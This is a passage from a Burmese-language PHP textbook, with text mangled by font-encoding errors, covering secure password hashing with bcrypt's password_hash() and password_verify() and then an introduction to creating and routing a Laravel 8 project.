• Hash Function dတွဟာ dပးလုိက်တဲ့    Content   တရူင်   gပန်ထုတ်dပးတဲ့  Hash   ရလဒ်   အပြမဲတမ်း
တူeကပါတယ်။ zယ်နှစ်ကြကိမ်ပဲ Run ပါdစ၊ Content တရူင် ထွက်လာတဲ့ Hash အပြမဲတမ်း တူမှာပဲ
goစ်ပါတယ်။

Hash Function  dတွသံုးပြပီး  Content  ကို  Hash  dgပာင်းလုိက်တဲ့အခါ  ရလာတဲ့  Hash  ကdန  Content
gပန်ယူလ့ုိ မရzူးလ့ုိ ဆိုထားပါတယ်။ Hash ကdန Content gပန်ယူလ့ုိ မရနိုင်dပမယ့် ရနိုင်တဲ့တgခားနည်း
လမ်းdတွdတာ့ ရှိပါတယ်။ ဥပမာ - ဒီ md5 Hash ကိုdလ့လာeကည့်ပါ။
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ဒီ Hash ကdန မူလတန်oုိးကို gပန်ထုတ်လ့ုိ မရdပမယ့်၊ အ့ဲဒီ Hash ကို Google မှာ ရိုက်ထည့်ပြပီး ရှာeကည့်
လုိက်ရင်  apple  ဆိုတဲ့  Content  အတွက်  Hash  goစ်တယ်ဆိုတာကို  သိရနိုင်ပါတယ်။  Content  တရူင်
Hash  တတူဲ့အတွက်  Content  dတွကို  Hash  ကြကိုdgပာင်းထားပြပီး တိုက်စစ်မယ်ဆိုရင်၊  Hash  ကိုeကည့်ပြပီး
zယ် Content အတွက်လဲဆိုတာကို သိရနိုင်ပါတယ်။ တစ်ကယ်dတာ့ Manual ကြကိုdgပာင်းစရာမလုိပါzူး၊
Rainbow Table ကို Hash ကိုdပးလုိက်ရင် Content gပန်ရှာdပးနိုင်တဲ့ နည်းပညာdတွ ရှိdနပါတယ်။

ဒါdeကာင့်  md5  တို့  sha1  တို့လုိ  Hash  နည်းပညာdတွကို  Secure  မgoစ်zူးလ့ုိ  dgပာeကပါတယ်။ လံုခြခုံ
dအာင် Hash dgပာင်းချင်dပမယ့် Content gပန်doာ်မယ်ဆိုရင် ရနိုင်dgခရှိdနလ့ုိပါ။ အရင်ကdတာ့ md5 ကို
တင် မလံုခြခုံzူးလုိ့  dgပာeကတာပါ။  sha1  ကိုdတာ့  လံုခြခုံတယ်လုိ့  သတ်မှတ်eကပါတယ်။ ဒါdပမယ့် အခု
dနာက်ပုိင်း  Computing Power  dတွ တစ်dန့တgခား ပုိdကာင်းလာeကdတာ့ အရင်ကလံုခြခုံပါတယ်ဆိုတဲ့
sha1 ကိုပါ မလံုခြခုံdတာ့zူးလ့ုိ သတ်မှတ်လာeကတာပါ။ ကdန့dခတ်မှာ လံုခြခုံတယ်လ့ုိ dgပာလ့ုိရတဲ့ Hash
နည်းပညာကdတာ့  bcrypt  goစ်ပါတယ်။  zာdeကာင့်  md5  တို့  sha1  တို့ကိုကျdတာ့  မလံုခြခုံzူးလ့ုိ
သတ်မှတ်ပြပီး  bcrypt  ကို  ကျdတာ့မှ  လံုခြခုံတယ်လုိ့  သတ်မှတ်eကတာလဲဆိုတဲ့ထိdတာ့  ထည့်မdgပာနိုင်
dတာ့ပါzူး။  Hash Algorithm dတွရဲ့ သdzာသzာဝနဲ့  Random Salt  လုိ သdzာသzာဝdတွ ထည့်
dgပာမှ ရdတာ့မှာမ့ုိလုိ့ပါ။ ဆက်dလ့လာစရာ စာရင်းထဲမှာသာ ထည့်မှတ်ထားလုိက်ပါ။ ဒီလိုပါပဲ နည်းပညာ
dတကွdတာ့ လုိက်မယ်ဆိုရင် မဆုံးနိုင်dအာင်ပါပဲ။ 

PHP  မှာ  bcrypt  ဆိုတဲ့အမည်နဲ့  md5() တို့  sha1() တို့လုိ  အလွယ်တစ်ကူ ယူသံုးလ့ုိရတဲ့  Standard
Function  မရှိပါzူး။  ဒါdပမယ့်  bcrypt  ကို  အသံုးgပုထားတဲ့  password_hash() လ့ုိdခါ်တဲ့  Hash
Function dတာ့ ရှိdနတာပါ။ ဒီအdeကာင်းကို dနာက်dခါင်းစဉ်တစ်ခုနဲ့ ဆက်dgပာပါမယ်။
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Saving Passwords
ဝz်ဆိုက်တိုင်း လုိလုိမှာ  User  dတွက  Register  လုပ်ပြပီး အdကာင့်dဆာက်လ့ုိရတဲ့  လုပ်dဆာင်ချက်dတွ
ပါဝင်eကပါတယ်။ အ့ဲဒီလုိ  Register  လုပ်eကတဲ့အခါ  User  ဆီက  Password  ကို  dတာင်းeကရပါတယ်။ ဒီ
dတာ့မှ အ့ဲဒီ Password ကိုသုံးပြပီး Login gပန်dပးဝင်လ့ုိ ရမှာပါ။

ဒီလုိ User ဆီက Password ကိုdတာင်းယူပြပီး သိမ်းထားရတာ တာဝန်ကြကီးပါတယ်။ zာgoစ်လ့ုိလဲဆိုdတာ့
User အများစုက Password dတွကို gပန်သုံးeကပါတယ်။ ဝz်ဆိုက် (၁၀) ခုမှာ အdကာင့်dတွ oွင့်ထားလုိ့
Password dတွ မတူdအာင် (၁၀) ခု ခွဲdပးeကမှာ မဟုတ်ပါzူး။ တစ်ချ ို ့ဆို  Password တစ်ခုထဲနဲ့ dနရာ
တိုင်းမှာ  သံုးdနeကတာပါ။  ဒါdeကာင့်  ကိုယ့်ဝz်ဆိုက်မှာ  အdကာင့်လာdဆာက်တဲ့အခါ  dပးတဲ့  User  ရဲ့
Password  ဟာ  အ့ဲဒီ  User  အတွက်  အလွန်အdရကြကီးတဲ့  အချက်အလက်တစ်ခုပါ။  ကိုယ်ဝz်ဆိုက်ရဲ့
လံုခြခုံdရး  အားနည်းချက်  တစ်ခုခုdeကာင့်သာ  User  အချက်အလက်dတွ  dပါက်eကားခဲ့လ့ုိ  User  dတရွဲ့
Password  dတွသာ ပါသွားခဲ့ရင်  အ့ဲဒီ  User  dတွ  gပဿနာတက်မှာက ကိုယ့်ဝz်ဆိုက်  တစ်ခုထဲမှာတင်
gပဿနာတက်မှာ မဟုတ်ပါzူး။ အ့ဲဒီ Password ကို သံုးထားတဲ့ dနရာတိုင်းမှာ gပဿနာတက်dတာ့မှာပါ။
ဒါdeကာင့် Password dတွကို လက်ခံသိမ်းဆည်းရတာ တာဝန်ကြကီးတယ်လ့ုိ dgပာတာပါ။

Password  dတွသိမ်းဆည်းမှုနဲ့ပက်သက်ရင်  အdရးအကြကီးဆုံးအချက်ကdတာ့  zယ်dတာ့မှ  မူရင်း
Password   အတိုင်း မသိမ်းo့ုိပါပဲ  ။ Hash လုပ်ပြပီးdတာ့မှသာ သိမ်းရပါတယ်။ ဒီdတာ့မှ အdeကာင်းအမျ ို းမျ ို း
deကာင့် User Data dတွ dပါက်eကားခဲ့ရင်dတာင် Password dတွက Hash လုပ်ထားလို့ ဒုက္ခdပးတဲ့သူက
မူရင်း  Password ကို အလွယ်တစ်ကူ သိနိုင်မှာ မဟုတ်dတာ့ပါzူး။ နမူနာလုပ်ခဲ့တဲ့ ပdရာZျက်မှာdတာင်
md5() ကိုသုံးပြပီး  Password  dတွကို  သိမ်းခဲ့တာ  dတွ့gမင်ခဲ့eကရမှာပါ။  gပည့်စုံလံုdလာက်gခင်းdတာ့  မ
ရိှdသးပါzူး။ dစာdစာက dgပာခဲ့သလုိ md5 Hash က gပန်doာ်မယ်ဆိုရင် doာ်လ့ုိရနိုင်စရာ ရှိdနလ့ုိပါ။ ဒါ
deကာင့် bcrypt လုိ ပုိပြပီးdတာ့ လံုခြခုံdရးအားdကာင်းတဲ့ Hash မျ ို းကို လက်dတွ့မှာ အသံုးgပုdပးoို့ လုိအပ်
ပါလိမ့်မယ်။ ဒီအတွက် PHP မှာ password_hash() လ့ုိdခါ်တဲ့ Function ရိှdနပါတယ်။ ဒီလိုပါ – 

 PHP >= 5.5 
<?php
$password = "userpassword";
$hash = password_hash($password, PASSWORD_BCRYPT);
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echo $hash;
// $2y$10$vXvL86DCY/Hh3BiIC0fx.eH06Hsea9kBz3CO2HRkNnVJyPIdtisXS

password_hash() Function  ကို  Argument  နှစ်ခုdပးရပါတယ်။  Content  နဲ့  Algorithm  goစ်ပါ
တယ်။  Content  အdနနဲ့  User  ရဲ့  Password  ကိုdပးရမှာgoစ်ပြပီး  Algorithm  အdနနဲ့
PASSWORD_BCRYPT လ့ုိdခါ်တဲ့  Constant  ကို  အသံုးgပုနိုင်ပါတယ်။  ရလဒ်ကို  echo ထုတ်eကည့်တဲ့
အခါ အdတာ်dလး ရှည်လျှားတဲ့ ရလဒ် Hash ကို dတွ့gမင်ရမှာ goစ်ပါတယ်။ စာoတ်သူကိုယ်တိုင်စမ်းeကည့်
လုိက်ရင် ရမယ့် ရလဒ်နဲ့ အခုဒီမှာgပထားတဲ့ ရလဒ်တူမှာ မဟုတ်ပါzူး။

dစာdစာက Hash Function dတွဟာ dပးလိုက်တဲ့  Content တရူင် ရလဒ်တတူယ်လ့ုိ dgပာပါတယ်။ အခု
zာdeကာင့် မတူတာလဲ။ Hash လုပ်တဲ့အခါ ဒီအတိုင်းမလုပ်zဲ Content နဲ့အတူ Random တန်oုိးတစ်ခုနဲ့
dပါင်းပြပီးdတာ့  Hash  လုပ်ထားတဲ့အတွက် အ့ဲဒီ  Random  တန်oုိးdeကာင့်  Hash  က လုိက်dgပာင်းdနတာ
goစ်ပါတယ်။ dရှ့ဆုံးက $2y$10$ ထိကdတာ့ တူနိုင်ပါတယ်။ သူ့dနာက်ကတန်oုိးdတွသာ dgပာင်းdနမှာ
ပါ။ 2y က အသံုးgပုထားတဲ့  Algorithm goစ်ပြပီး 10 ကdတာ့ Cost ကိုဆိုလုိတာပါ။ Content ကို dgခoျက်
တာ zယ်နှစ်ခါ oျက်သလဲဆိုတဲ့ အdရအတွက်ပါ။  10  ဆိုတာ  2 power 10  goစ်လ့ုိ  1024  ကြကိမ် dgခoျက်
အလုပ်လုပ်ထားတယ်ဆိုတဲ့ သdzာပါ။ အ့ဲဒီ  $2y$10$ dနာက်ကလုိက်တဲ့ စာလံုး  (၂၂) လံုးက Hash မ
လုပ်ခင် ထည့်လုိက်တဲ့ Random တန်oုိးgoစ်ပြပီး တစ်ကယ် Hash Code ကdတာ့ dနာက်ဆုံးကdနလိုက်တဲ့
(၃၁) လံုး goစ်ပါတယ်။ 

dgပာချင်လ့ုိသာ  ဒါdတွ  dgပာdနတာပါ။  အသံုးgပုမှု  ရှုdထာင့်ကdန  eကည့်ရင်  password_hash()
Function ကို  Password dပးလုိက်ရင် လံုခြခုံစိတ်ချရတဲ့၊ gပန်doာ်oို့ခက်ခဲတဲ့  Hash Code ထွက်လာတယ်
လ့ုိ မှတ်ထားရင်လည်း ရပါတယ်။ အ့ဲဒီလိုရလာတဲ့ Hash ကို သိမ်းဆည်း ထားရမှာgoစ်ပါတယ်။

နမူနာပdရာပdရာZျက်မှာဆိုရင်  Register  လုပ်တုံးက Password  ကို  md5() နဲ့  Hash  လုပ်ပြပီးသိမ်းခဲ့လ့ုိ
Login  ဝင်တဲ့အခါ  User  dပးလာတဲ့  Password  ကို  md5() နဲ့ပဲ  Hash  dgပာင်းပြပီးမှ  မှန်ကန်မှုရှိမရှိ
တိုက်စစ် ထားပါတယ်။ အခု password_hash() နဲ့ dgပာင်းထားတဲ့ Hash တန်oုိးကိုdရာ zယ်လုိgပန်
တိုက်စစရ်မလဲ။ password_verify() ဆိုတဲ့ Function ကို သံုးရပါတယ်။ ဒီလုိပါ –
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 PHP >= 5.5 
<?php
$hash = '$2y$10$vXvL86DCY/Hh3BiIC0fx.eH06Hsea9kBz3CO2HRkNnVJyPIdtisXS';

if(password_verify('userpassword', $hash)) {
    echo 'Correct Password';
} else {
    echo 'Incorrect Password';
}

// Correct Password

သိမ်းထားတဲ့  Hash  ဟာ userpassword နဲ့  တူညီမှုရှိသလားဆိုတာကို  password_verify() နဲ့
စစ်eကည့်လိုက်တာပါ။ တူညီမှုရှိတဲ့အတွက်  Correct Password  ဆိုတဲ့  ရလဒ်ကို  gပန်လည်ရရှိမှာပဲ goစ်ပါ
တယ်။ ဒီနည်းနဲ့  User က Login ဝင်ချနိ်မှာ dပးလာတဲ့  Password နဲ့ သိမ်းထားတဲ့  Hash ကိုက်ညီမှုရှိမရှိ
စစ်eကည့်နိုင်မှာပဲ goစ်ပါတယ်။

Conclusion
ဆက်eကည့်မယ်ဆိုရင်  eကည့်သင့်တာdလးdတွ  ရှိdသးdပမယ့်  ဒီdလာက်ဆိုရင်  လံုခြခုံdရးနဲ့ပက်သက်ပြပီး
ကိုယ့်အိမ်တံခါးကိုယ်  dသာ့ခတ်နိုင်တဲ့  အဆင့်dလာက်dတာ့  ရသွားပြပီပဲ  goစ်ပါတယ်။  ဒီအခန်းမှာ  doာ်gပ
ထားတဲ့  ဗဟုသုတdတွကို  အသံုးgပုပြပီး  ပြပီးခဲ့တဲ့အခန်းdတွမှာ  dရးခဲ့တဲ့  ပdရာZျက်ကိုလည်း  လုိအပ်သလုိ
gပင်ဆင်goည့်စွက်eကည့်oုိ့ အကြကံgပုပါတယ်။  SQL  Injection  အတွက်dတာ့  မူလကတည်းက  Prepare
Statement dတွကို အသံုးgပုထားပြပီး goစ်ပါတယ်။ XSS အကာအကွယ်အတွက် Helper Method ထပ်တိုး
ပြပီးdတာ့ လုိအပ်တဲ့dနရာdတွမှာ လုိက်ထည့်dပးသင့်ပါတယ်။  CSRF  အကာအကွယ်ကိုလည်း dနရာတိုင်း
မှာ  မထည့်နိုင်ရင်dတာင်မှ  အdရးကြကီးတဲ့  dနရာအချ ို ့မှာ  ထည့်dပးသင့်ပါတယ်။  Password  dတွစီမံတဲ့
dနရာမှာလည်း md5() အစား အခုdလ့လာခဲ့တဲ့  password_hash() တို့  password_verify()
တို့နဲ့ dgပာင်းdပးသင့်ပါတယ်။ 

ဆက်လက်ပြပီးdတာ့ dနာက်တစ်ပုိင်းမှာ Laravel Framework အdeကာင်းကို dလ့လာသွားeကပါမယ်။



အပိမေုင်း (၅)
Laravel
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အခန်း (၄၁) – Laravel Project

Laravel ဟာ လူကြကိုက်များ ထင်ရှားdနတဲ့  PHP Framework တစ်ခုပါ။ Laravel ရဲ့ ကျစ်လစ်ရှင်းလင်းတဲ့
oဲွ့စည်းပံုdeကာင့် ဒီ  Framework ကိုသံုးပြပီး ကုဒ်dတွdရးရတာ နှစ်လုိdပျာ်ရ¢င်oွယ် dကာင်းပါတယ်။ အရင်
က  PHP  ကုဒ်လို့  dgပာလုိက်ရင်  ရှုပ်ယှက်ခတ်ပြပီး  oတ်ရခကတ်ဲ့  ကုဒ်dတွကို  dgပးgမင်eကdပမယ့်၊  အခု
dနာက်ပုိင်းမှာdတာ့  PHP Language  ကိုယ်တိုင်ရဲ့  တိုးတက်မှုdတွနဲ့အတူ  Laravel  ကို  အသံုးများလာမှု
deကာင့် PHP ကုဒ်ဆိုတာ သပ်သပ်ရပ်ရပ်နဲ့ oတ်ရှုနားလည်ရ လွယ်ကူတဲ့ကုဒ်dတွ goစ်dနပါပြပီ။

Creating Laravel Project
Laravel  ရဲ့  Documentation  goစ်တဲ့  laravel.com/docs မှာသွားပြပီးdလ့လာeကည့်လုိက်ရင်  Laravel  ပ
dရာZျက်  တည်dဆာက်ပံု  (၂)  နည်း  dပးထားတာကို  dတွ့ရနိုင်ပါတယ်။  ပထမနည်းက  laravel
Installer  ကို  Composer  နဲ့  အရင်  Install  လုပ်ပြပီးမှ  ပdရာZျက်တည်dဆာက်တဲ့နည်းပါ။  ဒုတိယနည်း
ကdတာ့ Composer ကိုပဲ တုိက်ရိုက်အသံုးချပြပီး ပdရာZျက်တည်dဆာက်တဲ့နည်းပါ။ အ့ဲဒီဒုတိယနည်းကိုပဲ
ဒီdနရာမှာ doာ်gပပါမယ်။

ပထမဆုံးအdနနဲ့ ပdရာZျက်oုိဒါတည်dဆာက်လုိတဲ့dနရာမှာ Command Prompt (သ့ုိ) Terminal ကို oွင့်
လုိက်ပါ။ Tip – Windows Explorer ရဲ့ Address Bar ထဲမှာ cmd [Enter] နှိပ်gခင်းအားgoင့် dရာက်ရှိdနတဲ့
oုိဒါထဲမှာ  Command Prompt ကို oွင့်လို့ရပါတယ်။

https://laravel.com/docs
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Windows မှာ Command Prompt လ့ုိdခါ်ပြပီး တgခား OS dတွမှာ Terminal လ့ုိdခါ်ပါတယ်။ dရှ့dလျှာက်
နှစ်မျ ို း dgပာမdနdတာ့ပါzူး။  Terminal  လ့ုိပဲ သံုးနှုန်းပြပီး ဆက်dgပာသွားပါမယ်။ Terminal ကို oွင့်ပြပီးရင်
ဒီ Command ကို Run ရမှာပါ။

composer create-project laravel/laravel blog "8.*"

composer Command  အတွက်  create-project Option  ကိုdပးလုိက်တာပါ။  ဒါdeကာင့်
Composer  က  ကျွန်dတာ်တို့အတွက်  ပdရာZျက်oိုဒါတစ်ခု  dဆာက်dပးသွားပါလိမ့်မယ်။  dနာက်ကdန
အသံုးgပုလိုတဲ့ Vendor/Package ကို dပးရပါတယ်။ နမူနာအရ laravel အမည်ရ Vendor ကdပးထား
တဲ့  laravel အမည်ရ  Package  ကို  အသံုးgပုမယ်ဆိုတဲ့  အဓိပ္ပါယ်goစ်ပါတယ်။  သ့ူdနာက်က  blog
ကdတာ့ အသံုးgပုလုိတဲ့ ပdရာZျက်oုိဒါအမည် goစ်ပါတယ်။ ကြကိုက်တဲ့အမည် dပးလို့ရပါတယ်။ dနာက်ဆုံး
က "8.*" ကdတာ့ လုိချင်တဲ့ Version ကို dgပာလုိက်တာပါ။ Laravel 8 ကို ရယူdပးသွားမှာ goစ်ပါတယ်။
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Composer  က  laravel ကို  Download  ယူdပးပြပီးတာနဲ့  တစ်ဆက်တည်း လုိအပ်တဲ့  ဆက်စပ် နည်း
ပညာdတွကိုပါ ဆကတ်ိုက် Download ယူdပးသွားမှာပါ။ ဒါdeကာင့် နည်းနည်းdတာ့ အချနိ်dပးပြပီး dစာင့်
ရနိုင်ပါတယ်။  ပြပီးသွားတဲ့အခါ  blog အမည်နဲ့  ပdရာZျက်oိုဒါကို  ရမှာgoစ်ပြပီး၊  ပdရာZျက်oုိဒါထဲက
vendors ထဲမှာ laravel နဲ့အတူ ဆက်စပ်လုိအပ်တဲ့ Package အားလံုး ရှိdနမှာ goစ်ပါတယ်။

Running Laravel Project
dနာက်တစ်ဆင့်အdနနဲ့ တည်dဆာက်ထားတဲ့ blog ပdရာZျက်oုိဒါအတွင်းမှာ Terminal ကိုoွင့်ပြပီး ပdရာ
Zျက်ကို အခုလုိ Run နိုင်ပါတယ်။

php artisan serve

ဒါဆိုရင် ပdရာZျက်ကို PHP Development Server ရဲ့အကူအညီနဲ့ Run သွားပြပီgoစ်လ့ုိ Browser ကိုoွင့်ပြပီး
အခုလုိ ရိုက်ထည့် စမ်းeကည့်လ့ုိရပါတယ်။

- http://localhost:8000

http://localhost:8000/
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ရလဒ်ကdတာ့ အခုလုိgoစ်မှာပါ။

ဒီအဆင့်ထိရသွားပြပီဆိုရင် Laravel ကို အသံုးgပုပြပီး ကုဒ်dတွdရးသားo့ုိ အသင့်goစ်သွားပါပြပီ။ 
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ဒီစာအုပ်ထဲမှာ  နမူနာပdရာZျက်အdနနဲ့  Article  dတွ  dရးတင်ပြပီး  Comment  dတွ  dပးလ့ုိရတဲ့  Blog
System  dလးတစ်ခုကို  တည်dဆာက်သွားeကမှာ  goစ်ပါတယ်။  လက်ရှိ  ဒီစာdရးdနချနိ်  ထွက်ရှိထားတဲ့
Laravel  dနာက်ဆုံး  Version  က  8.6.8  goစ်ပါတယ်။  ဒါdeကာင့်  နမူနာကုဒ်dတွဟာ  Laravel  8.6.8  ကို
အသံုးgပုdoာ်gပgခင်းgoစ်ပြပီး Version မတရူင် အနည်းငယ် ကွဲgပားမှု ရှိနိုင်တာကို သတိgပုပါ။ 

Laravel မှာ လုိချင်တဲ့ရလဒ်တစ်ခုရo့ုိ dရးသားနည်း သံုးdလးနည်း ရိှတတ်ပါတယ်။ အ့ဲဒါdတွအကုန် ထည့်
dgပာdနမှာ မဟုတ်zဲ၊ သံုးသင့်တဲ့ တစ်နည်းထဲကိုပဲ dရးွထုတ်ပြပီး dgပာသွားမှာgoစ်ပါတယ်။ အ့ဲဒီလို dgပာgပ
တဲ့ တစ်နည်းထဲနဲ့ပဲ အရင်ဆုံးပုိင်နိုင်dအာင် dလ့လာလုိက်ပါ။ dနာက်dတာ့မှ တgခားမူကွဲdတွ၊ တgခားနည်း
လမ်းdတွကို  dလ့လာပါ။ အစပုိင်းမှာ အ့ဲဒီလုိ မူကွဲdတွdeကာင့် သိပ်ပြပီးdတာ့ dခါင်းစားမခံပါနဲ့ဦးလ့ုိ dgပာ
ချင်ပါတယ်။
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အခန်း (၄၂) – Laravel Routing

Laravel ပdရာZျက်နဲ့ပတ်သက်ရင် ပထမဆုံးအdနနဲ့ စတင်dလ့လာeကမှာကdတာ့ Routing goစ်ပါတယ်။
Routing ကို gမန်မာလုိ လွယ်လွယ်dgပာရရင် လမ်းdeကာင်းဆွဲgခင်း လ့ုိ dgပာရမှာပါ။ zယ်လမ်းကိုသွားရင်
zယ်dရာက်မလဲ  သတ်မှတ်dပးတဲ့သdzာပါ။  တစ်နည်းအားgoင့်  zယ်  URL  လိပ်စာကို  သွားရင်  zာ
အလုပ်လုပ်ရမလဲ သတ်မှတ်dပးgခင်း goစ်ပါတယ်။ ပdရာZျက်oိုဒါထဲက /routes/web.php ကို oွင့်ပြပီး
ဒီကုဒ်ကို dရးgoည့်ပြပီး စမ်းeကည့်ပါ (သ့ူနZိုပါတဲ့ နမူနာကုဒ်ကို ဒီအတိုင်းထားပါ)။

 PHP 
Route::get('/articles', function () {
    return 'Article List';
});

Route::get('/articles/detail', function () {
    return 'Article Detail';
});

Framework  နဲ့အတူပါလာတဲ့  get() Route Method  ကို အသံုးgပုထားgခင်း goစ်ပါတယ်။  get() လုိ
မျ ို း  တgခား  Route  Method  dတွလည်းရှိပါdသးတယ်။  dလာdလာဆယ်  get() နဲ့  post() နှစ်ခု
မှတ်ထားရင် လံုdလာက်ပါပြပီ။ Basic API အခန်းdရာက်dတာ့မှ တgခား Method dတွ ထပ်eကည့်ပါဦးမယ်။
နမူနာမှာ  get() Route  Method  အတွက်  Parameter  နှစ်ခုdပးထားပါတယ်။  ပထမတစ်ခုက  URL
လိပ်စာgoစ်ပြပီး  ဒုတိယတစ်ခုက  လုပ်ရမယ့်အလုပ်  Function  goစ်ပါတယ်။  ဒီနမူနာအရ  လိပ်စာက
/articles ဆိရုင် သတ်မှတ်ထားတဲ့ Function အလုပ်လုပ်သွားတဲ့အတွက် Article List ဆိုတဲ့ စာတစ်
deကာင်းကို  gပန်ရမှာgoစ်ပါတယ်။ အလားတူပဲ  လိပ်စာက  /articles/detail ဆိရုင်dတာ့  Article
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Detail ဆိုတဲ့ စာတစ်deကာင်းကို gပန်ရမှာပါ။ ဒီလုိပါ - 

သတိမေပြပုပါ -  ဒီလို  စမ်းeကည့်လ့ုိရo့ုိအတွက်  php artisan serve နဲ့  ပdရာZျက်ကို  Run  ထားo့ုိ
လုိအပ်ပါတယ်။  ပြပီးdတာ့၊  နမူနာ  Screenshot  dတွgပတဲ့အခါ  URL  လိပ်စာနဲ့  ရလဒ်ကို  တွဲတွဲပြပီးdတာ့
eကည့်dပးပါ။

မရှိတဲ့လိပ်စာကို ရိုက်ထည့်ပြပီး စမ်းeကည့်လို့လည်း ရပါတယ်။ ဥပမာ ဒီလုိရိုက်ထည့်ပြပီး စမ်းeကည့်ပါ -

- http://localhost:8000/something

ရလဒ်ကအdနနဲ့ 404 Not Found ကို dတွ့gမင်ရမှာ goစ်ပါတယ်။

http://localhost:8000/something
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Laravel  မှာ  Route  လုိမျ ို း  လုိအပ်တဲ့အချနိ်မှာ အလွယ်ယူသံုးလုိ့ရတဲ့  Class  dတွ အများကြကီး ရှိပါတယ်။
Facade Pattern လ့ုိdခါ်တဲ့ OOP Design Pattern တစ်ခုကို သုံးပြပီးdရးထားတဲ့ Class dတွပါ။ သိပ်dခါင်း
စားမခံပါနဲ့။ အdခါ်အdဝါ်dလာက်ပဲ မှတ်ထားပြပီ dနာက်မှ ဆက်dလ့လာပါ။ dလာdလာဆယ် အသင့်သံုး
လ့ုိရတဲ့  Facade Class  dတွ ရှိတယ်ဆိုတာdလာက် မှတ်ထားရင် ရပါတယ်။  Source Code  ထဲမှာ သွား
eကည့်ချင်ရင်  /vendor/laravel/framework/src/illuminate/Support/Facade ဆို
တဲ့  Path လမ်းdeကာင်းနဲ့ oုိဒါတစ်ခု ရှိပါတယ်။ အ့ဲဒီထဲမှာ အသင့်သံုးလ့ုိရတဲ့  Facade Class  dတွ ရှိdနပါ
တယ်။ 

ဒါdပမယ့် dစာdစာက နမူနာမှာ Route::get() လ့ုိdရးခဲ့dပမယ့် Route.php ကုဒ်oုိင်ကို oွင့်eကည့်
ရင်  get() Method  ကို  dတွ့ ရမှာ မဟုတ်ပါzူး။  get() Method  တစ်ကယ်မရှိzဲနဲ့  သံုးလ့ုိရdအာင်
Laravel  က  PHP  ရဲ့  __callStatic() Magic  Method  ကို  သံုးထားပါတယ်။ အ့ဲဒါdeကာင့်  dခါင်း
စားစရာdတွလ့ုိ dgပာတာပါ။
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Dynamic Routes
Routing အdeကာင်း ဆက်ပါမယ်။ Route လ့ုိdgပာရင် Static Route နဲ့ Dynamic Route ဆိုပြပီး နှစ်မျ ို းရှိပါ
တယ်။  Static  Route  ဆိုတာကdတာ့  ပံုdသ  သတ်မှတ်ထားတဲ့  လမ်းdeကာင်းပါ။  Dynamic  Route
ကdတာ့ ပါလာတဲ့ Route Parameter dပါ်မူတည်ပြပီး dgပာင်းလဲနိုင်တဲ့ လမ်းdeကာင်းပါ။ Dynamic Route
တစ်ခုနမူနာကို စမ်းeကည့်နိုင်oို့ ဒီကုဒ်ကို /routes/web.php ထဲမှာ ထပ်goည့d်ရးပါ။

 PHP 
Route::get('/articles/detail/{id}', function ( $id ) {
    return "Article Detail - $id";
});

သတိgပုစရာ  (၃)  ချက်ရှိပါတယ်။  ပထမတစ်ချက်က  လိပ်စာမှာပါတဲ့  {id} goစ်ပါတယ်။  Laravel  မှာ
Route Parameter ကို ဒီလုိdပးရပါတယ်။ အဓိပ္ပါယ်က {id} ဟာ အရှင်goစ်ပြပီး မိမိနှစ်သက်ရာတန်oုိးကို
{id} dနရာမှာ dပးလ့ုိရတယ်ဆိုတဲ့ အဓိပ္ပါယ်ပါ။ ဥပမာ - /articles/detail/123 ဆိုတဲ့ လိပ်စာ
ဟာ  ဒီသတ်မှတ်ချက်နဲ့  ကိုက်ညီသလုိ  /articles/detail/abc ဆိုတဲ့လိပ်စာ  ဟာလည်း  ဒီ
သတ်မှတ်ချက်နဲ့ ကိုက်ညီပါတယ်။

ဒုတိယတစ်ချက်ကdတာ့  Function Parameter goစ်တဲ့  $id ပါ။  URL လိပ်စာရဲ့  {id} အgoစ်dပးလိုက်
တဲ့  တန်oုိးကို  Function  ရဲ့  $id အgoစ်  Laravel  က လက်ခံ  အသံုးgပုdပးသွားမှာပါ။  တတိယအချက်
ကdတာ့ PHP အdgခခံကို dမ့သွားမှာစိုးလ့ုိသာ ထည့်dgပာတာပါ။ PHP မှာ String   အတွင်း   Variable   dတွ  
တစ်ခါ တည်း ထည့်သွင်း အသံုးgပုလုိရင်   Double Quote   ကို အသံုးgပုရတယ်   ဆိုတဲ့ အချက်ပါ။ ဒါdeကာင့်
return Statement အတွက် dပးလိုက်တဲ့ String ကို Double Quote နဲ့ dရးထားတာပါ။

ဒါdeကာင့် လိပ်စာက /articles/detail/123 ဆိုရင် gပန်ရမှာက Article Detail - 123
goစ်ပါတယ်။  /articles/detail/abc ဆိုရင်dတာ့  gပန်ရမှာက  Article Detail - abc
goစ်ပါတယ်။ စမ်းeကည့်နိုင်ပါ။ ဒီနည်းနဲ့ Laravel မှာ Dynamic Route dတွ သတ်မှတ် အသုံးgပုရပါတယ်။
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Route Names
Routing  နဲ့ပတ်သက်ပြပီး  dနာက်ထပ်တစ်ခုအdနနဲ့  ထည့်သွင်းမှတ်သားသင့်တာကdတာ့  Route  Name
goစ်ပါတယ်။ သတ်မှတ်ထားတဲ့ Route dတွကို အမည်dပးထားgခင်းအားgoင့် dနာင်လိုအပ်တဲ့အခါ အလွယ်
တစ်ကူ gပန်လည်အသုံးgပုနိုင်မှာ goစ်ပါတယ်။ ဥပမာ -

 PHP 
Route::get('/articles/more', function() {
    return redirect('/articles/detail');
});

ဒီကုဒ်ရဲ့အဓိပ္ပါယ်က  URL  လိပ်စာ  /articles/more goစ်ခဲ့မယ်ဆိုရင်  redirect() Helper
Function  ရဲ့ အကူအညီနဲ့  /articles/detail ကိုသွားခိုင်းလုိက်တာ goစ်ပါတယ်။  /articles/
detail ကို အခုလုိ အမည်dပးထားနိုင်ပါတယ်။

 PHP 
Route::get('/articles/detail', function () {
    return 'Article Detail';
})->name('article.detail');

dနာက်ဆုံးမှာ  name() Method  နဲ့  article.detail လ့ုိ အမည်dပးလိုက်တာပါ။ တစ်ကယ်dတာ့
အမည်က ကြကိုက်သလုိ  dပးလ့ုိရပါတယ်။  တိုတိုတုတတ်ုတ်ပဲ  dပးချင်လည်းရပါတယ်။  ဒါdပမယ့်  Route
Name dတွ များလာရင် တစ်ခုနဲ့တစ်ခုdရာပြပီး မှတရ်ခက်ကုန်မှာစိုးလုိ့ အdလ့အကျင့်dကာင်းတစ်ခု အdန
နဲ့ အခုကတည်းက gပည့်gပည့်စုံစုံ dပးထားတာပါ။ အခုလုိ အမည်dပးထားပြပီးပြပီgoစ်လုိ ဒီ Route ကိုလုိအပ်
လ့ုိ gပန်သုံးချင်ရင် dပးထားတဲ့ အမည်နဲ့ သံုးလ့ုိရပါပြပီ။ ဥပမာ - dစာdစာက /articles/more Route
လုပ်dဆာင် ချက်ကို အခုလုိ gပင်လိုက်ပါမယ်။

